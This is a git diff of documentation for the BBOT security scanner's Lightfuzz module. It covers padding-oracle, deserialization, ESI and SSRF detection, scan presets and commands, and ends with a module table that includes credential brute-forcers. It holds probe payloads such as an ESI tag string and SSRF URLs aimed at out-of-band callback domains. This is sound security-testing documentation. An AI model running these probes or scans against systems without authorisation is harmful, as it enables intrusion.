+**Stage 4 — Padding Oracle** (HIGH severity, HIGH confidence): If a block cipher is suspected, performs a targeted padding oracle test. Constructs a crafted ciphertext with a null IV block and iterates through all 256 possible last-byte values. A true padding oracle produces a small number of differing responses (1 up to block_size, since multi-byte padding values like `\x02\x02` can also produce valid padding if the intermediate bytes happen to align). To avoid false positives from servers that reflect or reveal submitted/decrypted values, probe values are stripped from both responses before comparison, and small character-level differences (≤5 chars in equal-length responses) are tolerated. Handles the edge case where the baseline byte is the correct padding byte (1/255 chance) by retrying with a different baseline.
 
-# -p lightfuzz-heavy
+**Stage 5 — Hash Length Extension** (INFO severity, LOW confidence): If the parameter value matches a known hash length (MD5/SHA-1/SHA-256/SHA-384/SHA-512), checks whether modifying *other* parameters on the same request causes the hash parameter's response to change — suggesting those parameters are inputs to the hash, which could enable length extension attacks.
 
-* Increases the web spider settings a bit from the default.
-* Adds in the **Param Miner** suite of modules to try and find new parameters to fuzz via brute-force
-* Enables fuzzing of POST parameters
+### `serial` — Unsafe Deserialization
 
-# -p lightfuzz-superheavy
+Detects active deserialization of serialized objects. All deserialization findings are HIGH severity, LOW confidence.
 
-Everything included in `lightfuzz-heavy`, plus:
+Tests three encoding families (base64, hex, PHP raw) against control baselines crafted to *not* be valid serialized objects. For each family, sends known serialized payloads across multiple platforms:
 
-* Query string collapsing turned OFF. Normally, multiple instances of the same parameter (e.g., foo=bar and foo=bar2) are collapsed into one for fuzzing. With `lightfuzz-superheavy`, each instance is fuzzed individually.
-* Force common headers enabled - Fuzz certain common header parameters, even if we didn't discover them
-* 'Speculate' GET parameters from JSON or XML response bodies
+- **Base64**: PHP, Java (Boolean, String, OptionalDataException), .NET, Ruby
+- **Hex**: Java, Java OptionalDataException, .NET
+- **PHP Raw**: PHP array
 
-These settings aren't typically desired as they add significant time to the scan.
+Two detection methods:
 
-# -p lightfuzz-xss
+- **Error Resolution**: If the control baseline returns a non-200 status but the serialized payload returns 200 (excluding common error pages like "Internal Server Error"), the application likely recognized and processed the serialized data.
+- **Differential Error Analysis**: If the response is a 500 (or a 200 with body changes), checks for deserialization-specific error strings like `java.io.optionaldataexception` or `cannot cast java.lang.string` that weren't present in the baseline.
 
-This is a special Lightfuzz preset that focuses entirely on XSS, to make XSS hunting as fast as possible. It is an example of how to make a preset that focuses on specific submodules. It also includes the `paramminer-getparams` module to help find undocumented parameters to fuzz. 
+Only runs on parameters whose existing values look potentially serialized (base64, hex, or PHP serialization prefixes), or on empty parameters.
 
-# Spider preset
+### `esi` — Edge Side Includes
 
-We also *strongly* recommend running Lightfuzz with the spider enabled, as this will dramatically increase the number of parameters that are discovered. If you don't, you will see a warning reminding you that things will work a lot better if you do.
+Detects ESI processing. ESI findings are MEDIUM severity, HIGH confidence.
 
-That can be done by simply also enabling either the `spider` or `spider-intense` preset.
+Sends the payload `AA<!--esi-->BB<!--esx-->CC`. If the server processes ESI tags, the `<!--esi-->` comment is removed (it's a valid ESI directive) while `<!--esx-->` is left alone (not a valid directive). The expected detection string is `AABB<!--esx-->CC`. This is a clean differential test — the only explanation for selective comment removal is active ESI processing.
 
-# Usage
+### `ssrf` — Server-Side Request Forgery
 
-With the presets in mind, usage is incredibly simple. In most cases you will just do the following:
+Detects SSRF vulnerabilities via out-of-band interaction. SSRF findings are HIGH severity, with confidence depending on the interaction type (CONFIRMED for HTTP, MEDIUM for DNS-only).
+
+Injects URLs pointing to unique Interactsh subdomains as parameter values. Three URL variants are tested for each parameter:
+
+- `http://TAG.interactsh-domain` — explicit HTTP scheme
+- `https://TAG.interactsh-domain` — explicit HTTPS scheme
+- `TAG.interactsh-domain` — bare domain (for cases where the server prepends a scheme)
+
+If the server fetches the injected URL, the resulting DNS or HTTP interaction is detected out-of-band via Interactsh. HTTP interactions are CONFIRMED confidence (the server made a full HTTP request), while DNS-only interactions are MEDIUM confidence (DNS resolution occurred, but the server may not have completed the request). Requires Interactsh to be enabled (it is by default).
+
+## Presets
+
+Lightfuzz comes with pre-defined presets. Unless you really know BBOT inside and out, we recommend using one of them. This is because Lightfuzz needs to change several important BBOT settings to work correctly, including:
+
+* Setting `url_querystring_remove` to False. By default, BBOT strips away querystrings, so in order to fuzz GET parameters, that default has to be disabled.
+* Enabling complementary modules. Specifically, `hunt` and `reflected_parameters` can be useful companion modules when `WEB_PARAMETER` events are being emitted.
+
+If you don't want to dive into those details, here are the built-in preset options.
+
+### `-p lightfuzz-light`
+
+The most minimal option. Best for running alongside larger scans with minimal overhead.
+
+| Setting | Value |
+|---|---|
+| **Submodules** | `path`, `sqli`, `xss` only |
+| **Companion modules** | None |
+| **POST fuzzing** | Disabled |
+| **WAF avoidance** | On |
+
+### `-p lightfuzz`
+
+The default starting point. If you're not sure which to use, start here.
+
+| Setting | Value |
+|---|---|
+| **Submodules** | All 9 (`cmdi`, `crypto`, `path`, `serial`, `sqli`, `ssti`, `xss`, `esi`, `ssrf`) |
+| **Companion modules** | `badsecrets`, `hunt`, `reflected_parameters` |
+| **POST fuzzing** | Disabled, but `try_post_as_get` is on (POST params retested as GET) |
+| **WAF avoidance** | On |
+
+### `-p lightfuzz-heavy`
+
+Everything in `lightfuzz`, plus:
+
+| Added setting | Value |
+|---|---|
+| **Param Miner** | `paramminer_headers`, `paramminer_getparams`, `paramminer_cookies` — brute-force discovery of hidden parameters |
+| **POST fuzzing** | Enabled |
+| **`try_get_as_post`** | On — GET params are also retested as POST |
+| **`robots.txt`** | Parsed for additional URL discovery |
+
+### `-p lightfuzz-max`
+
+Everything in `lightfuzz-heavy`, plus:
+
+| Added setting | Value |
+|---|---|
+| **WAF avoidance** | Off — WAF-protected targets are fuzzed |
+| **Query string collapsing** | Off — each unique parameter-value pair is fuzzed individually instead of deduplicating by parameter name |
+| **Force common headers** | On — headers like `X-Forwarded-For` are fuzzed even if not observed on the target |
+| **Speculate params** | On — potential parameters are extracted from JSON/XML response bodies |
+
+These settings significantly increase scan time and traffic. Not recommended for routine scanning.
+
+### `-p lightfuzz-xss`
+
+A focused preset for XSS hunting only. Demonstrates how to build a single-submodule preset.
+
+| Setting | Value |
+|---|---|
+| **Submodules** | `xss` only |
+| **Companion modules** | `paramminer_getparams`, `reflected_parameters` |
+| **POST fuzzing** | Disabled |
+| **Query string collapsing** | Off |
+
+### Spider Preset
+
+We *strongly* recommend running Lightfuzz with the spider enabled, as this will dramatically increase the number of parameters discovered. If you don't, you will see a warning reminding you.
+
+Enable the spider by adding either the `spider` or `spider-heavy` preset:
 
 ```
-bbot -p lightfuzz-medium spider -t targets.txt --allow-deadly
+bbot -p lightfuzz spider -t targets.txt
 ```
 
-It's really that simple. Almost all output from Lightfuzz will be in the form of a `FINDING`, as opposed to a `VULNERABILITY`, with a couple of exceptions. This is because, as was explained, the nature of the findings are that they are typically unconfirmed and will require work on your part to do so.
+## Usage
+
+With presets in mind, usage is simple:
 
-If you wanted a specific submodule, you could make your own preset adjusting the `modules.lightfuzz.enabled_submodules` setting, or do so via the command line:
+```
+bbot -p lightfuzz spider -t targets.txt
+```
+
+All output from Lightfuzz will be `FINDING` events, each with a severity and confidence level. Focus your triage on confidence first — CONFIRMED and HIGH confidence findings are the most actionable, while LOW confidence findings should be treated as leads requiring manual verification.
+
+### Selecting Specific Submodules
+
+If you want a specific submodule, you can make your own preset adjusting the `modules.lightfuzz.enabled_submodules` setting, or do so via the command line:
 
 Just XSS:
 ```
-bbot -p lightfuzz-medium -t targets.txt -c modules.lightfuzz.enabled_submodules=[xss]  --allow-deadly
+bbot -p lightfuzz -t targets.txt -c modules.lightfuzz.enabled_submodules=[xss]
 ```
 
 XSS and SQLi:
 ```
-bbot -p lightfuzz-medium -t targets.txt -c modules.lightfuzz.enabled_submodules=[xss,sqli]  --allow-deadly
+bbot -p lightfuzz -t targets.txt -c modules.lightfuzz.enabled_submodules=[xss,sqli]
 ```
 
+## HTTP Method Switching
+
+Two options are available to test parameters across HTTP methods:
+
+* **`try_post_as_get`**: For each `POSTPARAM` discovered, also fuzz it as a `GETPARAM`. This catches cases where a parameter accepted via POST is also accepted via GET, which may bypass server-side protections that only apply to one method.
+* **`try_get_as_post`**: For each `GETPARAM` discovered, also fuzz it as a `POSTPARAM`. This catches cases where GET parameters are also accepted in POST bodies, potentially with different security controls.
 
+These options are disabled by default. When enabled, findings from converted parameters will be annotated with their original method (e.g., "converted from POSTPARAM") in the finding description.
+
+This is useful because web frameworks often accept parameters from multiple sources, but security filters (WAFs, input validation) may only apply to the originally intended method.
+
+Enable via config:
+```
+bbot -p lightfuzz -t targets.txt -c modules.lightfuzz.try_post_as_get=true modules.lightfuzz.try_get_as_post=true
+```
diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md
index b9efc79c34..7c71adaf4b 100644
--- a/docs/modules/list_of_modules.md
+++ b/docs/modules/list_of_modules.md
@@ -1,149 +1,157 @@
 # List of Modules
 
 <!-- BBOT MODULES -->
-| Module                | Type     | Needs API Key   | Description                                                                                                                                           | Flags                                                            | Consumed Events                                                                                                                         | Produced Events                                                                          | Author                    | Created Date   |
-|-----------------------|----------|-----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------|---------------------------|----------------|
-| ajaxpro               | scan     | No              | Check for potentially vulnerable Ajaxpro instances                                                                                                    | active, safe, web-thorough                                       | HTTP_RESPONSE, URL                                                                                                                      | FINDING, VULNERABILITY                                                                   | @liquidsec                | 2024-01-18     |
-| aspnet_bin_exposure   | scan     | No              | Check for ASP.NET Security Feature Bypasses (CVE-2023-36899 and CVE-2023-36560)                                                                       | active, safe, web-thorough                                       | URL                                                                                                                                     | VULNERABILITY                                                                            | @liquidsec                | 2025-01-28     |
-| baddns                | scan     | No              | Check hosts for domain/subdomain takeovers                                                                                                            | active, baddns, cloud-enum, safe, subdomain-hijack, web-basic    | DNS_NAME, DNS_NAME_UNRESOLVED                                                                                                           | FINDING, VULNERABILITY                                                                   | @liquidsec                | 2024-01-18     |
-| baddns_direct         | scan     | No              | Check for unusual subdomain / service takeover edge cases that require direct detection                                                               | active, baddns, cloud-enum, safe, subdomain-enum                 | STORAGE_BUCKET, URL                                                                                                                     | FINDING, VULNERABILITY                                                                   | @liquidsec                | 2024-01-29     |
-| baddns_zone           | scan     | No              | Check hosts for DNS zone transfers and NSEC walks                                                                                                     | active, baddns, cloud-enum, safe, subdomain-enum                 | DNS_NAME                                                                                                                                | FINDING, VULNERABILITY                                                                   | @liquidsec                | 2024-01-29     |
-| badsecrets            | scan     | No              | Library for detecting known or weak secrets across many web frameworks                                                                                | active, safe, web-basic                                          | HTTP_RESPONSE                                                                                                                           | FINDING, TECHNOLOGY, VULNERABILITY                                                       | @liquidsec                | 2022-11-19     |
-| bucket_amazon         | scan     | No              | Check for S3 buckets related to target                                                                                                                | active, cloud-enum, safe, web-basic                              | DNS_NAME, STORAGE_BUCKET                                                                                                                | FINDING, STORAGE_BUCKET                                                                  | @TheTechromancer          | 2022-11-04     |
-| bucket_digitalocean   | scan     | No              | Check for DigitalOcean spaces related to target                                                                                                       | active, cloud-enum, safe, slow, web-thorough                     | DNS_NAME, STORAGE_BUCKET                                                                                                                | FINDING, STORAGE_BUCKET                                                                  | @TheTechromancer          | 2022-11-08     |
-| bucket_firebase       | scan     | No              | Check for open Firebase databases related to target                                                                                                   | active, cloud-enum, safe, web-basic                              | DNS_NAME, STORAGE_BUCKET                                                                                                                | FINDING, STORAGE_BUCKET                                                                  | @TheTechromancer          | 2023-03-20     |
-| bucket_google         | scan     | No              | Check for Google object storage related to target                                                                                                     | active, cloud-enum, safe, web-basic                              | DNS_NAME, STORAGE_BUCKET                                                                                                                | FINDING, STORAGE_BUCKET                                                                  | @TheTechromancer          | 2022-11-04     |
-| bucket_microsoft      | scan     | No              | Check for Azure storage blobs related to target                                                                                                       | active, cloud-enum, safe, web-basic                              | DNS_NAME, STORAGE_BUCKET                                                                                                                | FINDING, STORAGE_BUCKET                                                                  | @TheTechromancer          | 2022-11-04     |
-| bypass403             | scan     | No              | Check 403 pages for common bypasses                                                                                                                   | active, aggressive, web-thorough                                 | URL                                                                                                                                     | FINDING                                                                                  | @liquidsec                | 2022-07-05     |
-| dnsbrute              | scan     | No              | Brute-force subdomains with massdns + static wordlist                                                                                                 | active, aggressive, subdomain-enum                               | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2024-04-24     |
-| dnsbrute_mutations    | scan     | No              | Brute-force subdomains with massdns + target-specific mutations                                                                                       | active, aggressive, slow, subdomain-enum                         | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2024-04-25     |
-| dnscommonsrv          | scan     | No              | Check for common SRV records                                                                                                                          | active, safe, subdomain-enum                                     | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-05-15     |
-| dotnetnuke            | scan     | No              | Scan for critical DotNetNuke (DNN) vulnerabilities                                                                                                    | active, aggressive, web-thorough                                 | HTTP_RESPONSE                                                                                                                           | TECHNOLOGY, VULNERABILITY                                                                | @liquidsec                | 2023-11-21     |
-| ffuf                  | scan     | No              | A fast web fuzzer written in Go                                                                                                                       | active, aggressive, deadly                                       | URL                                                                                                                                     | URL_UNVERIFIED                                                                           | @liquidsec                | 2022-04-10     |
-| ffuf_shortnames       | scan     | No              | Use ffuf in combination IIS shortnames                                                                                                                | active, aggressive, iis-shortnames, web-thorough                 | URL_HINT                                                                                                                                | URL_UNVERIFIED                                                                           | @liquidsec                | 2022-07-05     |
-| filedownload          | scan     | No              | Download common filetypes such as PDF, DOCX, PPTX, etc.                                                                                               | active, download, safe, web-basic                                | HTTP_RESPONSE, URL_UNVERIFIED                                                                                                           | FILESYSTEM                                                                               | @TheTechromancer          | 2023-10-11     |
-| fingerprintx          | scan     | No              | Fingerprint exposed services like RDP, SSH, MySQL, etc.                                                                                               | active, safe, service-enum, slow                                 | OPEN_TCP_PORT                                                                                                                           | PROTOCOL                                                                                 | @TheTechromancer          | 2023-01-30     |
-| generic_ssrf          | scan     | No              | Check for generic SSRFs                                                                                                                               | active, aggressive, web-thorough                                 | URL                                                                                                                                     | VULNERABILITY                                                                            | @liquidsec                | 2022-07-30     |
-| git                   | scan     | No              | Check for exposed .git repositories                                                                                                                   | active, code-enum, safe, web-basic                               | URL                                                                                                                                     | CODE_REPOSITORY, FINDING                                                                 | @TheTechromancer          | 2023-05-30     |
-| gitlab_com            | scan     | No              | Enumerate GitLab SaaS (gitlab.com/org) for projects and groups                                                                                        | active, code-enum, safe                                          | SOCIAL                                                                                                                                  | CODE_REPOSITORY                                                                          | @TheTechromancer          | 2024-03-11     |
-| gitlab_onprem         | scan     | No              | Detect self-hosted GitLab instances and query them for repositories                                                                                   | active, code-enum, safe                                          | HTTP_RESPONSE, SOCIAL, TECHNOLOGY                                                                                                       | CODE_REPOSITORY, FINDING, SOCIAL, TECHNOLOGY                                             | @TheTechromancer          | 2024-03-11     |
-| gowitness             | scan     | No              | Take screenshots of webpages                                                                                                                          | active, safe, web-screenshots                                    | SOCIAL, URL                                                                                                                             | TECHNOLOGY, URL, URL_UNVERIFIED, WEBSCREENSHOT                                           | @TheTechromancer          | 2022-07-08     |
-| graphql_introspection | scan     | No              | Perform GraphQL introspection on a target                                                                                                             | active, safe, web-basic                                          | URL                                                                                                                                     | FINDING                                                                                  | @mukesh-dream11           | 2025-07-01     |
-| host_header           | scan     | No              | Try common HTTP Host header spoofing techniques                                                                                                       | active, aggressive, web-thorough                                 | HTTP_RESPONSE                                                                                                                           | FINDING                                                                                  | @liquidsec                | 2022-07-27     |
-| httpx                 | scan     | No              | Visit webpages. Many other modules rely on httpx                                                                                                      | active, cloud-enum, safe, social-enum, subdomain-enum, web-basic | OPEN_TCP_PORT, URL, URL_UNVERIFIED                                                                                                      | HTTP_RESPONSE, URL                                                                       | @TheTechromancer          | 2022-07-08     |
-| hunt                  | scan     | No              | Watch for commonly-exploitable HTTP parameters                                                                                                        | active, safe, web-thorough                                       | WEB_PARAMETER                                                                                                                           | FINDING                                                                                  | @liquidsec                | 2022-07-20     |
-| iis_shortnames        | scan     | No              | Check for IIS shortname vulnerability                                                                                                                 | active, iis-shortnames, safe, web-basic                          | URL                                                                                                                                     | URL_HINT                                                                                 | @liquidsec                | 2022-04-15     |
-| legba                 | scan     | No              | Credential bruteforcing supporting various services.                                                                                                  | active, aggressive, deadly                                       | PROTOCOL                                                                                                                                | FINDING                                                                                  | @christianfl, @fuzikowski | 2025-07-18     |
-| lightfuzz             | scan     | No              | Find Web Parameters and Lightly Fuzz them using a heuristic based scanner                                                                             | active, aggressive, deadly, web-thorough                         | URL, WEB_PARAMETER                                                                                                                      | FINDING, VULNERABILITY                                                                   | @liquidsec                | 2024-06-28     |
-| medusa                | scan     | No              | Medusa SNMP bruteforcing with v1, v2c and R/W check.                                                                                                  | active, aggressive, deadly                                       | PROTOCOL                                                                                                                                | VULNERABILITY                                                                            | @christianfl              | 2025-05-16     |
-| newsletters           | scan     | No              | Searches for Newsletter Submission Entry Fields on Websites                                                                                           | active, safe                                                     | HTTP_RESPONSE                                                                                                                           | FINDING                                                                                  | @stryker2k2               | 2024-02-02     |
-| ntlm                  | scan     | No              | Watch for HTTP endpoints that support NTLM authentication                                                                                             | active, safe, web-basic                                          | HTTP_RESPONSE, URL                                                                                                                      | DNS_NAME, FINDING                                                                        | @liquidsec                | 2022-07-25     |
-| nuclei                | scan     | No              | Fast and customisable vulnerability scanner                                                                                                           | active, aggressive, deadly                                       | URL                                                                                                                                     | FINDING, TECHNOLOGY, VULNERABILITY                                                       | @TheTechromancer          | 2022-03-12     |
-| oauth                 | scan     | No              | Enumerate OAUTH and OpenID Connect services                                                                                                           | active, affiliates, cloud-enum, safe, subdomain-enum, web-basic  | DNS_NAME, URL_UNVERIFIED                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2023-07-12     |
-| paramminer_cookies    | scan     | No              | Smart brute-force to check for common HTTP cookie parameters                                                                                          | active, aggressive, slow, web-paramminer                         | HTTP_RESPONSE, WEB_PARAMETER                                                                                                            | FINDING, WEB_PARAMETER                                                                   | @liquidsec                | 2022-06-27     |
-| paramminer_getparams  | scan     | No              | Use smart brute-force to check for common HTTP GET parameters                                                                                         | active, aggressive, slow, web-paramminer                         | HTTP_RESPONSE, WEB_PARAMETER                                                                                                            | FINDING, WEB_PARAMETER                                                                   | @liquidsec                | 2022-06-28     |
-| paramminer_headers    | scan     | No              | Use smart brute-force to check for common HTTP header parameters                                                                                      | active, aggressive, slow, web-paramminer                         | HTTP_RESPONSE, WEB_PARAMETER                                                                                                            | WEB_PARAMETER                                                                            | @liquidsec                | 2022-04-15     |
-| portscan              | scan     | No              | Port scan with masscan. By default, scans top 100 ports.                                                                                              | active, portscan, safe                                           | DNS_NAME, IP_ADDRESS, IP_RANGE                                                                                                          | OPEN_TCP_PORT                                                                            | @TheTechromancer          | 2024-05-15     |
-| reflected_parameters  | scan     | No              | Highlight parameters that reflect their contents in response body                                                                                     | active, safe, web-thorough                                       | WEB_PARAMETER                                                                                                                           | FINDING                                                                                  | @liquidsec                | 2024-10-29     |
-| retirejs              | scan     | No              | Detect vulnerable/out-of-date JavaScript libraries                                                                                                    | active, safe, web-thorough                                       | URL_UNVERIFIED                                                                                                                          | FINDING                                                                                  | @liquidsec                | 2025-08-19     |
-| robots                | scan     | No              | Look for and parse robots.txt                                                                                                                         | active, safe, web-basic                                          | URL                                                                                                                                     | URL_UNVERIFIED                                                                           | @liquidsec                | 2023-02-01     |
-| securitytxt           | scan     | No              | Check for security.txt content                                                                                                                        | active, cloud-enum, safe, subdomain-enum, web-basic              | DNS_NAME                                                                                                                                | EMAIL_ADDRESS, URL_UNVERIFIED                                                            | @colin-stubbs             | 2024-05-26     |
-| smuggler              | scan     | No              | Check for HTTP smuggling                                                                                                                              | active, aggressive, slow, web-thorough                           | URL                                                                                                                                     | FINDING                                                                                  | @liquidsec                | 2022-07-06     |
-| sslcert               | scan     | No              | Visit open ports and retrieve SSL certificates                                                                                                        | active, affiliates, email-enum, safe, subdomain-enum, web-basic  | OPEN_TCP_PORT                                                                                                                           | DNS_NAME, EMAIL_ADDRESS                                                                  | @TheTechromancer          | 2022-03-30     |
-| telerik               | scan     | No              | Scan for critical Telerik vulnerabilities                                                                                                             | active, aggressive, web-thorough                                 | HTTP_RESPONSE, URL                                                                                                                      | FINDING, VULNERABILITY                                                                   | @liquidsec                | 2022-04-10     |
-| url_manipulation      | scan     | No              | Attempt to identify URL parsing/routing based vulnerabilities                                                                                         | active, aggressive, web-thorough                                 | URL                                                                                                                                     | FINDING                                                                                  | @liquidsec                | 2022-09-27     |
-| vhost                 | scan     | No              | Fuzz for virtual hosts                                                                                                                                | active, aggressive, deadly, slow                                 | URL                                                                                                                                     | DNS_NAME, VHOST                                                                          | @liquidsec                | 2022-05-02     |
-| wafw00f               | scan     | No              | Web Application Firewall Fingerprinting Tool                                                                                                          | active, aggressive                                               | URL                                                                                                                                     | WAF                                                                                      | @liquidsec                | 2023-02-15     |
-| wpscan                | scan     | No              | Wordpress security scanner. Highly recommended to use an API key for better results.                                                                  | active, aggressive                                               | HTTP_RESPONSE, TECHNOLOGY                                                                                                               | FINDING, TECHNOLOGY, URL_UNVERIFIED, VULNERABILITY                                       | @domwhewell-sage          | 2024-05-29     |
-| affiliates            | scan     | No              | Summarize affiliate domains at the end of a scan                                                                                                      | affiliates, passive, safe                                        | *                                                                                                                                       |                                                                                          | @TheTechromancer          | 2022-07-25     |
-| anubisdb              | scan     | No              | Query jldc.me's database for subdomains                                                                                                               | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-10-04     |
-| apkpure               | scan     | No              | Download android applications from apkpure.com                                                                                                        | code-enum, download, passive, safe                               | MOBILE_APP                                                                                                                              | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-10-11     |
-| asn                   | scan     | No              | Query ripe and bgpview.io for ASNs                                                                                                                    | passive, safe, subdomain-enum                                    | IP_ADDRESS                                                                                                                              | ASN                                                                                      | @TheTechromancer          | 2022-07-25     |
-| azure_tenant          | scan     | No              | Query Azure via azmap.dev for tenant sister domains                                                                                                   | affiliates, cloud-enum, passive, safe, subdomain-enum            | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2024-07-04     |
-| bevigil               | scan     | Yes             | Retrieve OSINT data from mobile applications using BeVigil                                                                                            | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME, URL_UNVERIFIED                                                                 | @alt-glitch               | 2022-10-26     |
-| bucket_file_enum      | scan     | No              | Works in conjunction with the filedownload module to download files from open storage buckets. Currently supported cloud providers: AWS, DigitalOcean | cloud-enum, passive, safe                                        | STORAGE_BUCKET                                                                                                                          | URL_UNVERIFIED                                                                           | @TheTechromancer          | 2023-11-14     |
-| bufferoverrun         | scan     | Yes             | Query BufferOverrun's TLS API for subdomains                                                                                                          | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2024-10-23     |
-| builtwith             | scan     | Yes             | Query Builtwith.com for subdomains                                                                                                                    | affiliates, passive, safe, subdomain-enum                        | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-23     |
-| c99                   | scan     | Yes             | Query the C99 API for subdomains                                                                                                                      | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-08     |
-| censys_dns            | scan     | Yes             | Query the Censys API for subdomains                                                                                                                   | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-04     |
-| censys_ip             | scan     | Yes             | Query the Censys API for hosts by IP address                                                                                                          | passive, safe                                                    | IP_ADDRESS                                                                                                                              | DNS_NAME, IP_ADDRESS, OPEN_TCP_PORT, OPEN_UDP_PORT, PROTOCOL, TECHNOLOGY, URL_UNVERIFIED | @TheTechromancer          | 2026-01-26     |
-| certspotter           | scan     | No              | Query Certspotter's API for subdomains                                                                                                                | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-28     |
-| chaos                 | scan     | Yes             | Query ProjectDiscovery's Chaos API for subdomains                                                                                                     | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-14     |
-| code_repository       | scan     | No              | Look for code repository links in webpages                                                                                                            | code-enum, passive, safe                                         | URL_UNVERIFIED                                                                                                                          | CODE_REPOSITORY                                                                          | @domwhewell-sage          | 2024-05-15     |
-| credshed              | scan     | Yes             | Send queries to your own credshed server to check for known credentials of your targets                                                               | passive, safe                                                    | DNS_NAME                                                                                                                                | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME                                       | @SpamFaux                 | 2023-10-12     |
-| crt                   | scan     | No              | Query crt.sh (certificate transparency) for subdomains                                                                                                | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-05-13     |
-| crt_db                | scan     | No              | Query crt.sh (certificate transparency) for subdomains via PostgreSQL                                                                                 | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2025-03-27     |
-| dehashed              | scan     | Yes             | Execute queries against dehashed.com for exposed credentials                                                                                          | email-enum, passive, safe                                        | DNS_NAME                                                                                                                                | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME                                       | @SpamFaux                 | 2023-10-12     |
-| dnsbimi               | scan     | No              | Check DNS_NAME's for BIMI records to find image and certificate hosting URL's                                                                         | cloud-enum, passive, safe, subdomain-enum                        | DNS_NAME                                                                                                                                | RAW_DNS_RECORD, URL_UNVERIFIED                                                           | @colin-stubbs             | 2024-11-15     |
-| dnscaa                | scan     | No              | Check for CAA records                                                                                                                                 | email-enum, passive, safe, subdomain-enum                        | DNS_NAME                                                                                                                                | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED                                                  | @colin-stubbs             | 2024-05-26     |
-| dnsdumpster           | scan     | No              | Query dnsdumpster for subdomains                                                                                                                      | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-03-12     |
-| dnstlsrpt             | scan     | No              | Check for TLS-RPT records                                                                                                                             | cloud-enum, email-enum, passive, safe, subdomain-enum            | DNS_NAME                                                                                                                                | EMAIL_ADDRESS, RAW_DNS_RECORD, URL_UNVERIFIED                                            | @colin-stubbs             | 2024-07-26     |
-| docker_pull           | scan     | No              | Download images from a docker repository                                                                                                              | code-enum, download, passive, safe, slow                         | CODE_REPOSITORY                                                                                                                         | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-03-24     |
-| dockerhub             | scan     | No              | Search for docker repositories of discovered orgs/usernames                                                                                           | code-enum, passive, safe                                         | ORG_STUB, SOCIAL                                                                                                                        | CODE_REPOSITORY, SOCIAL, URL_UNVERIFIED                                                  | @domwhewell-sage          | 2024-03-12     |
-| emailformat           | scan     | No              | Query email-format.com for email addresses                                                                                                            | email-enum, passive, safe                                        | DNS_NAME                                                                                                                                | EMAIL_ADDRESS                                                                            | @TheTechromancer          | 2022-07-11     |
-| extractous            | scan     | No              | Module to extract data from files                                                                                                                     | passive, safe                                                    | FILESYSTEM                                                                                                                              | RAW_TEXT                                                                                 | @domwhewell-sage          | 2024-06-03     |
-| fullhunt              | scan     | Yes             | Query the fullhunt.io API for subdomains                                                                                                              | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-08-24     |
-| git_clone             | scan     | No              | Clone code github repositories                                                                                                                        | code-enum, download, passive, safe, slow                         | CODE_REPOSITORY                                                                                                                         | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-03-08     |
-| gitdumper             | scan     | No              | Download a leaked .git folder recursively or by fuzzing common names                                                                                  | code-enum, download, passive, safe, slow                         | CODE_REPOSITORY                                                                                                                         | FILESYSTEM                                                                               | @domwhewell-sage          | 2025-02-11     |
-| github_codesearch     | scan     | Yes             | Query Github's API for code containing the target domain name                                                                                         | code-enum, passive, safe, subdomain-enum                         | DNS_NAME                                                                                                                                | CODE_REPOSITORY, URL_UNVERIFIED                                                          | @domwhewell-sage          | 2023-12-14     |
-| github_org            | scan     | No              | Query Github's API for organization and member repositories                                                                                           | code-enum, passive, safe, subdomain-enum                         | ORG_STUB, SOCIAL                                                                                                                        | CODE_REPOSITORY                                                                          | @domwhewell-sage          | 2023-12-14     |
-| github_usersearch     | scan     | Yes             | Query Github's API for users with emails matching in scope domains that may not be discoverable by listing members of the organization.               | code-enum, passive, safe                                         | DNS_NAME                                                                                                                                | EMAIL_ADDRESS, SOCIAL                                                                    | @domwhewell-sage          | 2025-05-10     |
-| github_workflows      | scan     | Yes             | Download a github repositories workflow logs and workflow artifacts                                                                                   | code-enum, download, passive, safe                               | CODE_REPOSITORY                                                                                                                         | FILESYSTEM                                                                               | @domwhewell-sage          | 2024-04-29     |
-| google_playstore      | scan     | No              | Search for android applications on play.google.com                                                                                                    | code-enum, passive, safe                                         | CODE_REPOSITORY, ORG_STUB                                                                                                               | MOBILE_APP                                                                               | @domwhewell-sage          | 2024-10-08     |
-| hackertarget          | scan     | No              | Query the hackertarget.com API for subdomains                                                                                                         | passive, safe, subdomain-enum                                    | DNS_NAME                                                                                                                                | DNS_NAME                                                                                 | @TheTechromancer          | 2022-07-28     |
